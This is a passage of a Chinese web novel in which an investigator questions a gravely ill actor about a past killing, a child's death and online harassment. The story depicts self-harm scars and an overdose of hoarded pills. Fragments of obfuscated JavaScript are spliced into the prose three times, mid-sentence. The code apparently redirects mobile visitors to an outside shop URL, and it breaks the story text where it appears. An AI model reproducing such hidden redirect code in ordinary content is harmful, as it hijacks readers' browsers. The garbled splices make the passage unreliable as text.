季斓冬笑了笑,他半边身体靠着墙,轻轻咳嗽,脸色苍白到近于透明,系统在垂落的短发里看见几根白头发,又急又气,恨不得去咬厉行云。 但季斓冬如今的脾气很好,他还是更喜欢系统的蘑菇造型,示意口袋:“藏起来。” 系统皱眉,变成人比较威风,至少能狐假虎威保护季斓冬。 但季斓冬现在已经经不起任何辩论。 系统变回蘑菇,钻进季斓冬的衣服口袋,它不明白为什么要藏起来,明明季斓冬已经回了家,系统知道人早晚都要回家。 系统贴着吭哧吭哧挤进来的小狗,懵懂分析,这里这么舒服,总能算是家了吧。 可季斓冬为什么不肯去卧室的床上睡,只坐在这。 为什么一直看气窗外的月亮。 月亮被蜘蛛网捉住了。 但季斓冬的手指真是温暖,系统和小狗抢着蹭它们,这些手指虽然苍白瘦削,但碰起来全世界最舒服。 隔着洗手间的一扇门,再隔着精心装修的客厅,激烈的争执声、挣扎的闷响都变得很遥远,只有几句话莫名清晰。 是个对系统而言有些陌生的声音。 说话的人是厉珩,厉家第二代,按身份是这次恶性网络暴力伤人案的调查组组长,也是当初“未成年杀父”案的经办人。 厉行云要查过去的事,盘根错节翻扯,越搅越深,终于招来这么一尊大佛—— “厉行云。” 厉珩走进门,毫不在意踩过地毯:“当初他无罪,是我判的。” 厉珩问:“你阻止我进门,是因为你想保护他,还是因为你怀疑他?” 厉行云被几个探员拧着肩膀按在地上,狼狈到极点,胸口起伏,他原本还赤红着眼拼命挣扎,不准这些人进门见季斓冬,此刻却仿佛被泼了盆冰水。 探员打开洗手间的门。 厉珩走进来,他算厉行云的长辈,今年三十四岁,已经做到调查局的核心组长,蓝灰羊毛面料的制服嵌着鹰徽。 厉珩蹲下,捏着黄铜手铐,看着季斓冬的眼睛。 11.局外人 厉珩问:“认得我吗?” 季斓冬交出手腕。 苍白异常的皮肤裹着分明腕骨,腕间横七竖八,新旧伤痕交错狰狞。 厉行云挣扎得更厉害,动静很吵,厉珩回头:“你觉得我要逮捕他?” 这一幕确实像。 谁叫季斓冬过分配合。 十二年前,厉珩还是个刚进调查局不久的新探员,深夜接到女人惊慌失措的报警,奉命去调查某知名导演死亡案。 在狭窄昏暗的木质台阶上,十五岁的季斓冬,也是这样对着手铐伸出手。 那是很奇异的一幕:月光从阁楼的窗户灌入,摔下台阶死亡的中年男人尸体,恐惧到神经质、歇斯底里让他们抓走长子的憔悴女人,还有浑身是伤的缄默少年。 高挑清瘦,肩膀很薄,校服半旧洗得泛白,微碎黑发遮着渗血眉睫,一副天生矜贵的好皮相。 比起发了疯的母亲,十五岁的季斓冬冷静得过分。 那像是一棵月光下的树,沉默,挺拔,任凭枝叶被拉扯撕烂,被蛀虫嚼烂。 十二年前的厉珩没有详细调查那个案子,也没有逮捕季斓冬——条件不足,也并无必要,那种遍体鳞伤的程度,就算是成年人、就算是还手致人死亡,也要判成正当防卫。 更何况十五岁。 “看来。”厉珩收起手铐,“这十二年,你过得不好。” 季斓冬笑了笑:“我好很多了。” 这个答案厉珩是第一次听,虽然奇怪,但也并没在意,被按在地上的厉行云瞳孔却缩了缩,又咬牙挣扎起来:“他身体差,你别动他!” 调查局里,对付的都是相当顽固恶劣的犯人,厉珩审讯人的手段是出了名的。 季斓冬撑着地面,站起身,整理衣服压出的皱褶。 他看起来的确没什么问题,只是动作比常人略微缓慢。十二年前那次案发现场的见面,让他很清楚调查局的流程,被厉珩手下的探员带去单独房间,等待问询。 经过厉行云身旁时,季斓冬停下:“能放厉总走吗?” 厉珩无视掉挣扎着喊“哥”的厉行云,他听说了这两个人的关系,这次来办案,厉家让他顺手拆掉这段孽缘。 厉珩随手磕出支烟,生出些兴致:“为什么,他是‘能放走的那种人’?” 季斓冬微微弯了下眼睛。 季斓冬伸手,很礼貌地要一支烟,这一幕也让人想起十二年前。 十五岁的少年要烟,当然难以得偿所愿,但二十七岁就没什么了,厉珩送他一包,按了下火机,腾起的火苗就照亮苍白眉宇。 “是。”季斓冬说。 厉珩点头,让人把季斓冬送去客房,这种古怪默契刺激得厉行云眼眶泛红,胸口剧烈起伏,牙关咬得咯咯作响。 幸好,于公于私,厉珩是个有耐心解释的人:“调查局办案流程,能放走的人,就是不相关的局外人。” “没帮过他的人。” “从没站在他这边的人,和他绝不可能是同党的人。” “完全不了解他的人。” 厉珩敲敲笔记本,公事公办地问询:“是不是你?” 厉行云被这话钉了骨头,可能也钉了喉咙,他的身体开始打哆嗦,仿佛极力想要否认,却没有半个字能冲出口,口腔里甚至渗出些血腥气。 他在尝试了解季斓冬了…… 他后悔了,知道错了,和季斓冬分手没几天,他其实就开始后悔。 他以为自己正义感爆棚,以为自己绝不会被爱情蒙蔽、不会因为季斓冬是自己人就包庇姑息,他以为自己在替季斓冬向那些他曾伤害过的人赎罪。 可剧烈焚烧的冲动情绪淡去后,他发现自己没了季斓冬没法活。 所以那天,他壮着胆子,打去电话。 另一头是欠费已久的忙音。 …… 厉珩半蹲着,听断断续续的痛苦呜咽,实在难以在哪个环节共情:“既然这样,季斓冬又没说错。” 完全不相关的局外人。 “这不就是你吗?” 厉行云瞪大了眼睛,眼角有赤红血丝,脸色却算得上惨白,哪怕不再被按着肩膀,也丝毫动弹不得。 厉珩摆了摆手,碾灭那支烟,站起身。 私事不能过度干涉公务,在厉行云这里浪费了太多时间,车轱辘话毫无意义。 他应该去看看季斓冬。 季斓冬一向很配合。 无论十二年前,还是现在,推开房门时,季斓冬一个人坐在桌前,桌上台灯亮着,影子被灯光拉长。 厉珩走过去。 这是个不算大的房间,书桌旁边就是床,厉珩在床边坐下:“季斓冬。” 季斓冬似乎回神,在台灯暖黄色的光芒下,眼睛也仿佛里渐渐恢复了些旧日光泽,朝他笑了笑。 厉珩问:“你过得怎么样?” 调查局日理万机,厉珩从政,与娱乐圈这种鱼龙混杂的烂染缸相距甚远。 “很好。”季斓冬说,“日子过得很快。” 他要了支烟,却并没吸,烟死在烟灰缸里,苍白手指不知道烫似的拨拢烟灰,埋成一个不算大的坟。 厉珩拿出录音笔,这代表问询开始。 “这些年,当初那个案子过后。” 厉珩:“有没有什么事,开心或者难过,让你印象特别深刻的?” 季斓冬:“没有。” 厉珩:“有这样的人吗?” 季斓冬:“没有。” 厉珩:“厉行云不算?他那一颗心,好像都叫你拿了。” 这不像个常规问询,季斓冬在这句问话里停顿,思索了几秒钟,似乎后知后觉想起厉珩和厉行云都姓厉。 季斓冬尝试解释,他没拿什么东西,手心空空:“我还回去了。” 厉珩又看见季斓冬手腕上的斑驳伤痕。 这些东西其实碍眼,厉珩皱眉,他会有不快的感受,算是人之常情——十二年前的季斓冬,几乎是被他有意轻轻放过。 现在却变成这个样子。 “为什么这么做。”厉珩问,“就因为有人骂你?” 肆无忌惮谩骂、抨击季斓冬的人的确很多,以季然的粉丝为最,这些人骂得确实难听,不堪入耳,甚至有许多相当恶毒的诅咒。 害季斓冬和厉行云出车祸的那个过激粉,被判故意伤害罪入狱,甚至都还有嘴比脸硬的死不悔改:“哦,一条人命没出,就判罪坐牢,这会儿雷厉风行了是吧。” “季斓冬手上可是两条半的人命啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347619|152638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “调查局睁一只眼闭一只眼,全在装傻,大明星大老板的命是命,别人的命就不是了?” 这些舆论来势汹汹,把厉珩这个案件经办人拖下水,更是有一批粉丝组成团体,反反复复举报投诉,不判季斓冬死刑誓不罢休。 这才有了这次的调查组。 季斓冬看了看手腕,摇头,一直有数不清的人骂他,早就习惯了。 厉珩蹙眉,原本还想问,看着季斓冬淡白的脸色,却又觉得这个话题似乎不该在这种时候深究。 厉行云说季斓冬身体差,看来至少这句并不是瞎话。 “休息吧。”厉珩起身,“我要选参议员,要履历干净,就要证明你无罪,咱们在一条船上。” “季斓冬,我见过十五岁的你。”厉珩说,他从不贸然下定论,只评价自己知道的部分,“那时的你很不错。” 落单的小狗呜咽着疯狂挠门,厉珩走到门口,单手捞起来,放在季斓冬怀里。 季斓冬的手臂被压得垂落到腿上。 门一关,系统就冒出来,满腔担忧绕着椅子转:「季斓冬,季斓冬,你还好吗?我听见有人咒你,你别怕,我帮你揍他。」 季斓冬想帮蘑菇捂耳朵,但蘑菇没长。 他安慰系统:“是幻觉。” 咒骂声来自幻听,系统一旦调成共感模式,就能听到。 季斓冬不是主观故意得这个病,系统翻了还能找到的回忆,季斓冬第一次出现幻听的症状,是被厉行云指控“杀人犯”。 心情稍微好些的时候,季斓冬陪系统做分析,认为这是个败笔。 他几乎已经修炼到刀枪不入,可以抵抗生父的残忍与养父的暴虐,可以无视生母的憎恨,甚至无所谓季然的背叛和铺天盖地的辱骂诅咒,偏偏。 偏偏,他贪心不足。 自作自受。 「胡说!」 系统气得薅小狗毛:「季斓冬,想要一个家不叫贪心,想要爱一个人不叫贪心。」 「你把软肋给他了,他不珍惜,把你弄伤成这样,是他的错不是你的……」 系统还没唠叨完,就被波动的数据吓了一跳:「季斓冬,你怎么了,你是不是不舒服?叫厉珩来,厉珩看起来还行是不是?他说十五岁的你很好!」 季斓冬戳戳它:“营救小狗。” 系统连忙扛走小狗,季斓冬呛出口血,斑斑血迹洒在木质地板上。 他也失去平衡,栽倒在地板上,翻转身体,很安静地仰面躺着,想请系统帮忙带一句抱歉。 「这种时候就不要抱歉了!」系统火急火燎撬门,放狗去咬厉珩来救人,「给谁?」 季斓冬说:“给我。” 系统愣了下。 他发现季斓冬对外的反应,和身体的内部感受,似乎已经完全脱节——数据显示疼痛剧烈,季斓冬却只是一只手按着胃,透过冷汗,很平静地睁着眼睛。 这让季斓冬说的话失去说服力。 不会有人相信,一个这样平静的人,说出的“我很痛苦”。 系统开着共感程序,冷清的月色下,伤痕累累的苍白少年站在窗前,眼瞳安静漆黑,像棵孤树。 “对不起。”季斓冬向十五岁的自己道歉,“我们没有变成更好的人。” 12.你早该愤怒 急性胃出血,季斓冬被送进急救室。 这次在ICU里躺的时间更久。 没什么人愿意在重症监护室里久待,不止是因为治疗费用天价、人也受罪,更因为这里面几乎没有活人气。 季斓冬躺在病床上。 人醒着,意识水平清楚,只是上了呼吸机,没法说话。 看见换了无菌衣进来探望的厉珩,那双眼睛稍弯。 是种可以定义成“笑”的弧度。但这种判定没什么意义,季斓冬这个影帝做得实至名归,即使是最讨厌季斓冬、恨不得他死的人,也没法批驳他的演技。 厉珩自认带来了些好消息:“有一批侮辱、造谣你的人被起诉了。” 厉行云发了疯一样想干这个,不过轮不到他,现在这事扯上了厉珩乃至整个调查局的名誉——至于那些躲在网线后猖狂敲键盘的人,真被火烧到自己身上,变怂的速度也是真的快。 “想不想听他们发的道歉声明?”厉珩看季斓冬的反应,“不想?还有季然的。” 季然这人有趣。 在厉珩这个调查组组长的眼里,季然有两个故事。 其中一个版本的故事,季然是饱受欺凌、倔强自救的坚韧主角。虽然怯弱,但这似乎成了某种叫人怜惜的时尚特质,配合悲惨的身世,让他一路有“贵人”相助、粉丝保驾护航。 于是,有意无意的,这样庞大的声量就剔除掉了故事中所有说不通的部分,只剩下一遍又一遍没完没了的复读:“你知道他有多可怜吗?!” “就算——就算他十四岁那年说了谎,难道那就能怪他?他明明才是最痛苦和恐惧的受害者!” “要我说,然然就是太善良了,不忍心我们这么喷季斓冬,才会改口的。至于事实是什么样,根本没人知道。” “阿然怎么可能助纣为虐?要我说,是被威胁了,说不定是厉行云搞的鬼。” “我们应该继续斗争!” “举报到调查局肯仔细彻查为止!我就不信季斓冬能藏得这么好,身上没一点猫腻……” 粉丝见面会上,狗仔兴奋举起的相机下,举着标语热情到疯狂的死忠粉终于逼疯了季然。 季然挣脱开经纪人的钳制,把为首的一个要上来拥抱的粉丝用力推开,他大口喘气,眼神飘忽绝望,嘶声喊:“你们要把我逼死是不是?!” 一盆冰水浇在滋滋沸响的钢水上。 一群人僵住。 混乱,错愕,茫然。 “季然!”经纪人反应过来,厉声呵斥着把人往后场拉,对着粉丝群赔笑,“谢谢大家关心,小然这些天压力太大了,状态不好,状态不好……” “我没疯!是他们疯了!”季然挣扎着嘶喊,他的情绪已经彻底崩溃,“你们是要捧我还是要害我?把我举在前面,让你们过瘾,你们要闹到什么时候?!” “不就是要闹吗?要闹,要查,查到逼死我为止是不是?我承认说谎了,还要我怎么样?季斓冬没害过我,这样故事就不刺激了,你们不满意了是不是?” “害我的是你们!在往死里逼我的是你们!” “我根本就不需要你们这种神经病一样的‘保护’,你们呢,你们是为了我吗?” “还是为了你们自己爽?!” 这些话让狗仔兴奋到疯狂,偷拍的相机都有大口吃瓜的急促喘息。 可原本热闹的粉丝,却因为这些连珠炮一样的质问,慢慢变得死寂。大多数人脸色苍白、难以置信,有些人却已皱紧了眉头,脸上隐隐透出不悦。 经纪人脸色泛灰,软了腿瘫坐在边上。 这段引得全网哗然、到现在播放量已经轻松上亿的视频,也就结束在这一幕。 …… 厉珩收起播放视频的平板。 问季斓冬:“心情好点了吗?” 把季然逼疯,调查局自然出力不少,甚至多少用了点稍微踩线的办法,让季然在那天喝了点“低度数果酒”。 不过,不做亏心事不怕鬼叫门。 季然会精神崩溃,显然是因为于心有亏,厉珩有心偷懒,直接来问当事人:“放出你那些黑料的人,是不是和季然有关?” 季斓冬又不是忽然兴起杀了个人。 十二年前的旧事,忽然有组织地大规模被爆出,进而大肆渲染、疯狂煽动情绪,目的相当明确,就是要搞垮季斓冬。 “我找到不少和他有关系的目标。”厉珩翻了翻笔记本,“富二代少爷,狗仔头子,还有灰色势力的头目……” 富二代厉少爷在厉家关着,知道了季斓冬病危住院,赤红着眼睛疯了一样要冲出来,闹得头破血流。 可惜这次没人像过去一样去接他。 厉珩说到这里,抬手,在季斓冬眼前晃了晃。 这双眼睛弯了下,反复某种条件反射,然后视线略微汇聚,落在他脸上。 “……季斓冬。” 厉珩这次把语速放慢:“你想不想,出去晒晒太阳?” 即使是审讯,也要张弛有度。 要设法拉近姿态。 季斓冬不是非得住在ICU,某种程度上,是医院被吓得魔怔,生怕把人放出去两天,又因为什么新的状况再心肺复苏着十万火急送回来。 这次的提问大概问对了,厉珩撑起身,要了台轮椅等在门口,回到病床旁打了个手势:“介不介意?” 季斓冬听见声音,微微侧头看向窗外,又有些出神。 当他不介意,厉珩示意医生拆去管线、拔掉没什么用的吊针,撤除呼吸机通常情况下棘手,但病人配合过头,甚至没有皱一皱眉。 厉珩把人抱出病房。 季斓冬很瘦,虽然身量高,但身上几乎已经没什么肉,在轮椅里,还要塞几个氧气枕才能勉强靠稳。 “你是不是比十五岁的时候还轻?”厉珩随口问。 季斓冬走神走得太厉害,听见声音,偏过头:“嗯?” 厉珩摆摆手,不是什么重要的问题。他顺着季斓冬始终在看的方向看过去,发现是片草坪,上面有几个玩耍嬉闹的小孩子。 厉珩把轮椅推过去,停在台阶前。 今天的天气不错,很晴朗,稍微有些风。 十二年,他再一次仔细看季斓冬——成年后的季斓冬,大概是那种就算死了、进火化炉前一刻脸也相当能打的类型。 哪怕病号服空荡,里面不知道多少剖开又长合的疤痕。 季斓冬在鼓励一团空气去草坪上玩。 厉珩问:“你在和谁说话?” 季斓冬对他的声音不敏感。 又或者说,季斓冬对所有外界的声音都不算敏感,迎上那双略显歉意的眼睛,厉珩重复了一遍自己的问题。 “嗯。”季斓冬想了想,“朋友。” ——这是个很奇异的发现。 厉珩发现,季斓冬好歹也是堂堂影帝,活了二十七年,说“朋友”这个词的时候,居然还显得很生疏和不熟练。 厉珩蹲下看他空荡荡的掌心。 他问季斓冬:“这是你的朋友?” 季斓冬笑了下,不是冲他,是冲那团空气,手势仿佛制止了一团空气蹦起来咬他。 厉珩已经知道季斓冬的病,并没当真,只是就着这个姿势和角度,继续观察这个人。 二十七岁的季斓冬,和十五岁的变化很大,不止是抹不掉的伤痕变多了,他们头顶的檐上有些积雪,坐在能融化冬雪的阳光下的,是苍白到仿佛也会无声无息消融不见的人。 季斓冬还在很耐心地说服系统去玩。 系统最近有心事:「我不去,季斓冬,你别轰我走。」 它开始思考什么是主角、什么是反派,季斓冬的身份是反派,是不是只是因为在“以季然为主角的故事”里面,他是让季然不痛快的人。 但凭什么故事就要以主角的视角界定。 凭什么主角看不到的、不想看到的,就可以在情节里被随意带过抹去。 “太深奥了。”季斓冬是病人,不应该思考这么复杂的问题,“吃药吗?” 系统:「……」 系统决定吃药。 一人一蘑菇一起吃药,一起喝水,一起晒太阳。 五颜六色的鸡毛毽飞过来,裹得圆滚滚的小豆丁追着跑,季斓冬接住毽子,扔还回去,让本来还想保护他的厉珩愣了下。 厉珩问:“你喜欢小孩子?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这算个地狱玩笑,冰冷的眼睛笑了下,很吃力,季斓冬慢慢垂下头,额发遮着眉眼,他这样的神情也仿佛回到了那个晚上。 ——厉珩心头陡然划过一道不祥的电闪。 季斓冬的愤怒,太深太重,混杂了无法消解的自罪。 那场闹剧的结果是季斓冬解散工作室、童星回到她父母身边,在季然和粉丝的视角这是一场见义勇为的大胜。 而当时的厉行云口中说着相信季斓冬,后来却又在决裂时把旧事翻出:“所以……那件事其实也是真的,是你一直在骗我。” “季斓冬,是不是?” 是不是? 是不是?!? 系统挣扎着要回去找季斓冬,去他大爷的救赎值,不管了,系统终于看见季斓冬眼中的幻觉、弄清他耳边那个小姑娘的哭喊声——那孩子死了。 因为季斓冬被季然闹烦了、解散工作室不管了,季斓冬只自私了这么一次,他管不动了也不想管了。 小挂件一样黏着他,抱着他的手的小豆丁,在汹汹舆论的强大压力下,回到了父母身边。 没过四五年,劳累过度,急性白血病复发。 病死了。 …… 季斓冬把自己所知的陈述给厉珩。 和季然有关系的人、可能在这件事里插过手的人。 季影帝“跋扈”、“以势压人”、“不择手段打压季然”,就是从这时候开始,因此惹恼了很多护着季然的人,报复应声而至。 季斓冬看着厉珩手里的蘑菇。 他像是最后腾起一团青火的冷烬,把这些全说完,就耗尽余热:“我的……朋友。” “它喜欢小狗。季斓冬说,“厉组长,请你带它看小狗。” 厉珩皱紧眉,他扶住季斓冬的肩膀,轻轻晃了晃:“愤怒是要发泄,季斓冬,你要实在想杀个人也行。” ……先把人哄好再说。 他看见这双眼睛微弱地、吃力至极地配合欣赏了下这个无聊的冷笑话。 厉珩抬手,生疏地摸他的头发。 季斓冬慢慢合上眼睛。 13.如果无罪 厉珩说:“季斓冬。” 他试着收拢手臂,把这具身体抱住。 这动作很顺理成章,他就蹲在轮椅前,两个人离得很近,不费什么事,只要一伸手。 厉珩攥住他的手,握了握:“季斓冬。” 季斓冬没有任何反应,一动不动,瘦削肩膀刀似的硌人,呼吸和心跳微弱,阳光下的脸和手都极为冰冷。厉珩把人抱起,带回住院部去给医生检查。 在走廊等待时,调查局探员已经找到与季斓冬口供相关的案件记录,送来医院。 童星死亡案。 厉珩坐在长椅上翻阅。 这桩案件当初并非由他经办,否则他当时就会见到季斓冬。 记录里有很多尚未公开的部分。 比如对季斓冬的调查审核。 【为什么要‘救’这个孩子?】 【你要怎么证明,你没有不可告人的目的?毕竟你有被指控的前科。】 【你有能证明自己想法的证据吗?】 【如果你并不心虚,为什么只是其他人的一句话,就能让你放弃?】 这些提问堪称无耻,几乎已经是先假定结论,再倒推问题。而季斓冬的不配合,让他被“审查”了三天。 审核结论一栏,则更是隔岸观火的冷漠:我们无法剔除他身上的嫌疑,经问询,其家人一致声称,他有着和生父相似的许多特质,很难保证这里面不包含扭曲的欲望…… 探员胆战心惊站着,看厉珩的脸色变沉,眼底透出某种冰冷,这样的神情过去似乎从没在厉珩身上显露过。 “当时负责办这案子的是谁?” 厉珩放下文件起身。 部下连忙说了个名字。 是有名的参议员,风评很好,推动了妇女儿童保护法案,在民间很受欢迎。 “去查。”厉珩说,“和季然有没有关系。” 又是那个季然? 部下诧异,但还是利落地应声去办。 医生做完了检查,正推门找患者的监护人,厉珩扣上制服的铜制纽扣,走过去:“怎么样?” 医生摇头,欲言又止,神色不算轻松。 厉珩皱了皱眉。 季斓冬躺在病床上,盖着被子,呼吸很平缓。厉珩走到病床旁,握住他垂在床旁的手,季斓冬没有反应,瘦削腕骨随着这个动作弯折,手指很冰冷。 厉珩俯身,轻拍他的肩膀:“季斓冬。” 躺在床上的人很安静,被扶住肩膀轻晃,阖着的睫毛盖住睑下淡青。 窗外的阳光很好,像是某种淡金色的流体,漫溢过鼻梁,淌过唇畔,汇进锁骨的凹陷,病号服已经明显不合身。 厉珩伸手抚了下,发现一小块新的擦伤。 “他服的药超过安全剂量。”医生有些为难,“我们做了紧急处理,洗了胃,性命没有大碍,但是……” 药能让人短时间内保持兴奋——不止兴奋,还有足够清晰的头脑,暂时修复因病损伤的注意力和记忆,这是一种饮鸩止渴的“正常”。 他们提供的药品严格控制数量,但季斓冬在这之前,应该是……一直没有吃这一种药,把药全藏了起来。 直到今天,季斓冬才把它们全吞了下去。 厉珩明白了医生在为难什么:“因为我的问询。” 因为他来探望季斓冬,借机套季斓冬的话,想知道过去发生了什么,这是季斓冬一直在等待的时机。 季斓冬反过来利用了他。 为那孩子。 厉珩的确被撬动情绪,愤怒会传染,季斓冬身体里那些垂死的岩浆,现在被灌进他的身体里,在岩石的裂缝间冒出灼烧的烟尘。 厉珩俯身,向上拨开季斓冬的额发,打量这双静静闭合的眼睛:“他怎么样?” 医生没有把握,不安地摇头:“不清楚……” 身体状况还能用医疗仪器监测,意识就完全没办法了,患者的脑电图很差,甚至连大量反射也微弱到濒临消失。 厉珩没有再问,他已经明白医生的意思,在床边站了一刻后,他抱起深度昏迷的证人,扶着后颈,让季斓冬靠在自己肩头。 守在门外的部下立刻跑进来:“组长。” “M计划。”厉珩用风衣裹住他,“证人需要保护,我送他回去。” 部下明显一怔,这个决定冒险,调查局的组长决定的“证人保护计划”,就意味着从今天起,季斓冬被明确拉到厉珩的身边。 但厉珩只是抱着季斓冬向外走,他站在太阳下,亮到刺眼的阳光落在季斓冬闭着的眼睛上,风把睫毛吹动,但并没如厉珩所预测的那样,傲慢的影帝得意睁眼,懒洋洋宣布较量获胜。 季斓冬苍白,安静,了无生气。 “十二年前,我就该这么做。”厉珩问,“是不是?” 没人回答,部下不敢说。 风吹着风衣的衣领,擦过下颌和没有血色的嘴唇,厉珩收拢手臂,让季斓冬靠稳,他尝试回忆十二年前的月亮底下,还发生了些什么。 不大能想得起,因为暗影里的少年实在太镇定、太冰冷沉默,让人意识不到他正承受痛苦。 那只是一起明朗到根本用不着费力细查的案子,家暴、反抗、未成年,不是蓄意,尽快结案对季斓冬有好处,他那个疯子生母歇斯底里要把亲生儿子送进监狱。 所以厉珩只查了一晚就离开。 厉珩想起当时他离季斓冬也近,很近,和今天差不多,一抬手就能碰到的距离。 厉珩低头问:“我那天抱你了吗?” 拥抱是种常见的礼节,通常用于安慰和道别,但那天大概没有人安慰过十五岁的季斓冬,也并没有人和他道别。 沾满泥和血的校服,并没弄脏调查局的鹰徽。 …… 小狗还在江景房里晃着尾巴等季斓冬。 狗粮和水都还满。 厉珩把人放在沙发上,找到毯子替季斓冬盖住腿。 他找到一部季斓冬主演的片子,把录像带放进播放器,给自己冲了杯咖啡,坐在沙发的另一头,把电影当作背景音,翻阅部下送来的案情记录。 小狗挣扎着爬上沙发,趴在季斓冬胸口,不停用脑袋拱他的下颌。 厉珩放下记录,侧过头:“你不摸摸它?” 他握住季斓冬的手,放在小狗的脑袋上,这只手没有知觉,被小狗撒着欢一顶就滑落,坠到沙发下。 小狗愣住。 厉珩也看了一阵那只手,皱眉。 他俯身,握住季斓冬的手,重新放回去,想要松手时却又顿住,没来由握得更牢。 “季斓冬。”厉珩沉声开口,“装睡不是处理问题的好办法。” “这样会影响我升职。” 厉珩不太相信他有个空气朋友,但调查局被规定要尊重各种认知和信仰,为了防止别有用心的人捉把柄举报,厉珩当时还是强迫自己做了个塞进口袋的动作。 这会儿他把这团空气从口袋里掏出来:“朋友,不要了?” 厉珩作势:“那我扔了。” “季斓冬。” 厉珩真要把这团空气扔进垃圾桶,小狗忽然发起脾气,大喊大叫咬住他的袖子,季斓冬盖着的风衣领口晃了晃。 系统瑟瑟发抖钻进风衣里藏起来,藏在季斓冬的衣领里,慌里慌张朝厉珩乱砸数据。 厉珩蹙眉,他看不到系统,但碎片化的数据产生意识波动,同频道共振,串联起他脑海里本来以为无关的沉寂记忆。 有三天时间,季斓冬被隔离审查,排除猥亵嫌疑。 季斓冬消失近一个星期,剩下的时间,季斓冬去了什么地方? 有答案,结案报告里记录,季斓冬回了误杀生父的老宅,在里面住了三天。跟踪的探员不知道他去那种地方做什么,季斓冬似乎也并没做什么。 但那张附带的照片牵连着的记忆,却因为共振重新变得清晰,照片里季斓冬看着的地方,和他有关。 厉珩曾经站在那,咬着笔帽,无视掉女人歇斯底里的纠缠,三两下弄出一份结案报告塞给季斓冬:“行了,判你无罪。” 这话其实算半开玩笑,调查员不是大法官,没有权力判定一个人有或无罪——只是那时,同样刚进调查局、很年轻的初出茅庐的探员厉珩,莽撞地认为眼前的少年很需要这样一句话。 仿佛不会融化的黑眼睛,因为这句话而动了动,静静看向他。 带伤流血的薄薄嘴唇其实张开过。 但十五岁的季斓冬没说话,目光落在他干净的、一尘不染的蓝灰毛呢制服上,又看了看自己脏污染血的校服。 那双眼睛,只是很宽和地弯了弯。 沾满血污泥泞的手背在背后。 季斓冬退进阴影。 …… 如今,厉珩回想起这种自作主张的体贴,实在忍不住辩驳:“我没有洁癖。” 好吧,有。 厉珩说:“不是很严重。” 他捏着狗崽的后脖颈,拎到地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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季斓冬知道,轻轻点了下头,他的脸上几乎没有什么血色,似乎是在一团空气的帮助下,把手慢慢挪到床边。 小狗蹦来蹦去地蹭,喉咙里呼噜呼噜满足地响。 调查局的特派组长难得狼狈,挽着袖口,领口的扣子敞开两颗,头发有些乱,外套扔在一边。 阳光静静落进来。 有一点咖啡的香气。 厉珩怔了片刻,回到床边,屈指碰了下季斓冬的脸,这人的体温还是很低,醒了也不说话,只是静静出神。 “季斓冬。”厉珩弯腰,他拉过椅子,坐在床边,“我会把所有事都查清楚,澄清你的名誉,所有构陷、辱骂、毫无底线伤害过你的人都会向你道歉。” 季斓冬循声看向他,弯了下眼睛,又去陪空气和小狗玩。 厉珩皱起眉,不是不满,他是不安,季斓冬的状态让他想起很多已经并不在乎名誉的人——但那些人大多七老八十,行将就木。 季斓冬还这么年轻。 二十七岁。 季斓冬的神情,不像是躺在家里的床上,倒像是躺在熊熊燃烧的焚化炉前,拿它当壁炉烤火。 很平静、放松、怡然自得。 厉珩说的话,他听得见,但似乎已经不在思维有闲情逸致处理的范围内。 季斓冬已经不再考虑这些了。 厉珩抬手,在季斓冬的眼前晃了晃,等他看向自己。 “季斓冬。” 厉珩没有一味再说这些,这是他的工作,季斓冬作为证人,已经提供了足够的资料和信息:“你想要什么?” 季斓冬望着他,静静想了想,把手腕伸出来。 手腕太瘦,袖口空荡荡。 厉珩看着这双仿佛只剩下微笑的眼睛:“你想让我逮捕你?” “不行啊,你没犯罪。”厉珩摇头。 他看见这双眼睛里,那些遥远过头分不清真假的光影,仿佛在太阳下的冰水里凝住,冻结。 季斓冬似乎并不期望这个答案。 如果无罪,为什么命运这么对他? 季斓冬被厉珩扔在床上的卷宗吸引,那上面有照片,小女孩大大的笑脸,那是个可爱到极点的小孩子,会在他开门时埋伏,毫无预兆撞进他怀里。 季斓冬把她交出去了,把她交给了绝望,交给了死神。 厉珩挡住这张照片。 他不赞同季斓冬的视角和观点:“她被从你身边抢走了。” “你们都是受害者。”厉珩说,“季斓冬,你蒙受不白之冤,辩解无门。” “你为了保护她,被折磨了三天。” “她被从你身边抢走了。” 季斓冬去碰那张照片,这只手被握住,厉珩俯身抱他,揽住瘦削到极点的肩背,被抱住的人实在缄默过头。 这具身体过分安静,甚至已经忘记要在痛苦时发抖。 14.很苦啊 厉珩以为自己抱着一个影子。 掂了掂,发现有分量,稍微使力,还能被骨头硌手,于是勉强能判断是个真人:“季斓冬。” 厉珩问:“还醒着没有?” 他把手心盖在瘦到凸出的脖颈。 颈动脉还在微弱搏动。 季斓冬醒着,静静靠在他肩头,呼出的气冷得像早冬的雾。 厉珩无意识伸手去摸,他以为会摸到一点白汽,就像人们在天寒地冻里出门要说话时那样,但没有,掠过指腹的是一点很不易察觉的冰凉气流。 “坐着累吗。”厉珩低头,“躺下?” 他猜季斓冬变成这样,是因为实在太过疲倦,当一个人的身心疲累到极点,就是很难再顺畅地开口说话。 厉珩捧住他的脖颈和后背,这些地方干脆没什么肉,仿佛皮下就是骨头。 季斓冬被他抱着,躺回床上,厉珩帮他整理被子,看了一阵眼巴巴的小狗,到底还是打破原则,拎起来放在床上。 温热柔软的一团狗刨式飞速拱到季斓冬颈窝。 季斓冬被吸引,侧过头看了一会儿,慢慢抬起手,摸了摸小狗顺滑的皮毛。 